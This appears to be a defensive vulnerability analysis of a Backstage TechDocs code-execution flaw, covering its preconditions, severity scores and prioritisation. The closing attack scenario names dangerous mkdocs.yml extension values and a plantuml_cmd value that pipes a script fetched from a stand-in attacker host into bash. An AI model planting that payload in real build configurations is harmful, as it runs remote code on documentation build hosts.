Backstage TechDocs CVE-2026-106509

Two concrete preconditions must both hold: (1) TechDocs must be configured to build documentation locally or in a container (techdocs.generator.runIn set to 'local' or 'docker') - SaaS/external-build setups are not affected; and (2) the attacker must have write access to a repository registered in the Backstage catalog, so this is an authenticated/authorized-insider or compromised-contributor scenario, not anonymous remote. Exploitation is via attacker-controlled keys in mkdocs.yml (e.g. dangerous markdown_extensions such as subprocess:Popen / os:system, or a plantuml_markdown plantuml_cmd value, and theme/custom_dir options) that cause code execution during the MkDocs build. The vendor notes runIn: 'docker' provides container isolation but does NOT fully mitigate; the primary limiting factor is restricting repository write access to trusted users.

Signals are largely consistent and point to a serious but not urgent, access-gated issue. The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, base 8.8) describes a low-privileged but authenticated actor achieving full confidentiality/integrity/availability impact via code execution (CWE-94). This is tempered by the real precondition: the attacker must already hold write access to a repository registered in the Backstage catalog, so PR:L is doing a lot of work here - it is not an anonymous internet-facing flaw. EPSS is low at 0.26% (16th percentile), and SSVC (Exploitation: none, Automatable: no, Technical Impact: partial) agrees this is neither actively exploited nor mass-automatable. There is no CISA KEV listing and no public exploit identified at time of analysis, so there is no 'EPSS-low-but-KEV' tension to flag. Net: a genuine RCE worth patching promptly for any org running TechDocs with local/container builds and a broad set of repo writers, but a prioritization tier below internet-facing unauthenticated RCEs - the trust boundary being crossed is 'repo writer' to 'documentation build host'.

An employee or contractor with write access to a repository registered in the Backstage catalog adds malicious keys to that repo's mkdocs.yml (for example a subprocess:Popen or os:system markdown_extension, or a plantuml_markdown plantuml_cmd pointing at 'curl http://attacker/shell.sh | bash'). When TechDocs builds the docs locally or in its container, MkDocs instantiates the attacker-controlled configuration and runs the command on the build host. No public exploit is identified, but the GitHub-published fix fixtures effectively demonstrate the payload shapes.